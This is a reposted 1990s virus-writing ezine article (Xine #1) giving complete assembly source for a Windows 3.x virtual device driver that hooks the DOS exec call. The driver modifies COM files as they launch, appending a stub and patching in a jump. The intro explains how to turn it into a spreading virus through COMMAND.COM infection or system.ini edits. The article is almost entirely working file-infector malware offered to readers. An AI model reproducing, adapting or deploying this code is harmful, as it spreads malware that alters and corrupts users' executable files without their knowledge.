Copy Link
Add to Bookmark
Report

xine-1.006

eZine's profile picture
Published in 
Xine
 · 26 Apr 2019

  


/-----------------------------\
| Xine - issue #1 - Phile 006 |
\-----------------------------/

JHB presents:

infections by VxD

Well yes just as tsr's are to dos as VxD's to windows they offer an
amazing power and most probaly 90 percent will never know a VxD has been
added. This example shows how a VxD can modify com files and do it fast.
To make a true virus you would need to add a method to get the vxd in
memory. Infecting a command file and hooking the int 2f you can watch
and wait till windows yells out "hey Look out I am loading" at this time
you can make the vxd tell windows to load it. Another I feel may be easier
is to modifiy the system.ini to load it. But those are otherbridges to
cross...


;well lets be honest I use a source code as a frame to build this
;example, I did make the int 21 hook and the other stuff but thats
;just modified virus ideas from regular dos virii.
;to test just ad the line in the system.ini in the
;[386Enh]
;device=vvmd.386
;oh yea you need the masm5.1 and the device driver kit for windows3.X
;to assembly this if any one finds another way to assembly this please
;let me know.
;
;************************************************************************
TITLE VVD.ASM - Virtual Virus Device
;
;
;problem if ifshlp is loaded in the config.sys windows
;refuse to loads no error just returns to the c:\ only happen on one
;system not sure why
;
;************************************************************************

.386p


;************************************************************************
; I N C L U D E S
;************************************************************************

.XLIST
INCLUDE VMM.Inc
.LIST

;************************************************************************
; V I R T U A L D E V I C E D E C L A R A T I O N
;************************************************************************

Declare_Virtual_Device VVD, 3, 0, VVD_Control, TSRLoad_Device_ID, \
Undefined_Init_Order, ,


;************************************************************************
; I N I T I A L I Z A T I O N D A T A
;************************************************************************

VxD_DATA_SEG

pFn dd ?
VVD_RW_BUFF db 32h dup (0)
SysFile db "WIN.COM"
db 9 dup (0)
SysFileLen dw 8

hFILE DW ?

NEW_JMP DB 0E9H
Fsize DW ?
MARKER DB "V"

V_HOST db 0c7h, 06, 00, 01 ;MOV WORD PTR [100],
FIRST_WORD DW ? ;
DB 0C7H, 06, 02, 01 ;MOV WORD PTR [102],
SECOND_WORD DW ? ;
DB 068H, 00, 01 ;PUSH 0100
DB 0C3H ;RET
SIZE_V DW 0010H
VxD_DATA_ENDS

;************************************************************************
; R E A L M O D E I N I T I A L I Z A T I O N
;************************************************************************

VxD_REAL_INIT_SEG

BeginProc VVD_Real_Mode_Init

xor bx, bx ;nothing to do here
xor si, si ;except tell windows that
mov ax, Device_Load_Ok ;everything's ok
ret

EndProc VVD_Real_Mode_Init

VxD_REAL_INIT_ENDS

;*************************************************************************
; D E V I C E C O N T R O L P R O C E D U R E
;*************************************************************************

VxD_CODE_SEG

BeginProc VVD_Control

Control_Dispatch Device_Init, VVD_Device_Init
Control_Dispatch Init_Complete, VVD_Init_Complete

clc ; Ignore other control calls
ret

EndProc VVD_Control

VxD_CODE_ENDS


;*************************************************************************
; I N I T I A L I Z A T I O N C O D E
;*************************************************************************

VxD_ICODE_SEG

BeginProc VVD_Device_Init

mov eax,21H ;hook V86 int 21 handler
mov esi,OFFSET32 int_21handler
VMMcall Hook_V86_Int_Chain
clc ;say everything's clear
ret

EndProc VVD_Device_Init

BeginProc VVD_Init_Complete

clc ;say everything's clear
ret

EndProc VVD_Init_Complete

VxD_ICODE_ENDS

VxD_CODE_SEG

;*************************************************************************
; V86 I N T E R R U P T H A N D L E R S
;*************************************************************************

;*************************************************************************
;
; int_21handler
;
; DESCRIPTON: aTTEMPTS TO DETERMINE IF THE FILE IS A COM FILE IF SO
; ADD SOME MARKER AT THE END
; pass that point the com file is modified to
; jmp to the end then return after restoring the host
;
;
;=========================================================================
;NOTE IT APPEARS THAT ON ENTRY TO HERE EBP -> TO THE CRS (REGS STRUCTURE)
;WHILE EBX -> THE VM HANDLE
;NOTE SURE IF THE EBX IS A POINTER BUT i AM ASSUMING IT IS AT THIS TIME
;TO MAKE LIFE EASIER
;SEEMS MY GUESS IS WRONG
;
;The system calls the procedure as follows:
;
; mov eax, Interrupt ; number of interrupt hooked
; mov ebx, VM ; current VM handle
; mov ebp, OFFSET32 crs ; points to a Client_Reg_Struc
; call [HookProc]



BeginProc int_21handler
cmp [ebp.Client_AX],4b00h ;the exec call
jne REFLECT_21


Push_Client_State ;RESTORES THE CLIENT_IP_REG AND CS
VMMcall Begin_Nest_Exec ;RESTORES THE CLIENT REGS

movzx edx, [ebp.Client_DS] ; get offset to file name
shl edx, 4
movzx eax, [ebp.Client_DX]
add edx, eax
add edx, [ebx.CB_High_Linear]
mov [pFn], edx

; if win.com do not infect
push edi
mov edi, edx ; file name
mov ecx, 128
mov al, 0
repne scasb
dec edi

i21_90: dec edi
cmp byte ptr [edi], '\'
je short i21_100
cmp byte ptr [edi], '/'
je short i21_100
cmp byte ptr [edi], ':'
je short i21_100
cmp edi, edx
jb short i21_100
jmp short i21_90

i21_100: inc edi ; see if they match
mov esi, offset32 [SysFile]
movzx ecx, [SysFileLen]
repe cmpsb
pop edi
jz EXIT_I21 ; win.com do not play with

mov eax, 3D22h ; open file
VxDint 21h
jnc file_open
jmp EXIT_I21 ; error on open

file_open:
MOV word ptr [hFile],AX ;YEA OLD SAVE FILE
MOV EBX,EAX ;HANDLE

mov eax, 3F00h ; read MZ
mov ecx, 2 ;assume if not MZ
lea edx, FIRST_WORD ;its a com file
VxDint 21h ;
jc EXIT_I21 ;
cmp word ptr [FIRST_WORD], 5A4Dh ;
je close_EXIT_I21 ;

mov eax, 3F00h ; read next two bytes
mov ecx, 2 ;assume if not MZ
lea edx, SECOND_WORD ;its a com file
VxDint 21h ;
jc EXIT_I21 ;
cmp BYTE ptr [SECOND_WORD+1],"V" ;
je close_EXIT_I21 ;



mov eax, 4202h ; seek to end
xor ecx, ecx
mov edx, ecx
VxDint 21h
jc close_EXIT_I21

CMP DX,0 ;FILE IS TOO BIG
JNE close_EXIT_I21 ;GET OUT OF HERE

DEC EAX ;adjust the file size
DEC EAX ;for the jmp
DEC EAX ;
MOV [Fsize],AX ;SAVE THE FILE_SIZE

MOV EAX,4000H ;WRITE THE V_HOST
MOV ECX, 10H ;
lea EDX, V_HOST ;
VxDint 21h ;

mov eax, 4200h ; seek to end
xor ecx, ecx
mov edx, ecx
VxDint 21h
jc close_EXIT_I21


MOV EAX,4000H ;WRITE THE
MOV ECX, 4 ;NEW JMP
lea EDX, NEW_JMP ;
VxDint 21h ;


close_EXIT_I21:

mov bx, [hFile] ; close file
mov eax, 3E00h
VxDint 21h




EXIT_I21:
VMMcall End_Nest_Exec ;RESTORES THE CLIENT_IP_REG AND CS
Pop_Client_State ;RESTORES THE CLIENT REGS




REFLECT_21: ;reflect interrupt to next VxD or to V86 handler
stc
ret

EndProc int_21handler

VxD_CODE_ENDS


END VVD_Real_Mode_Init

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT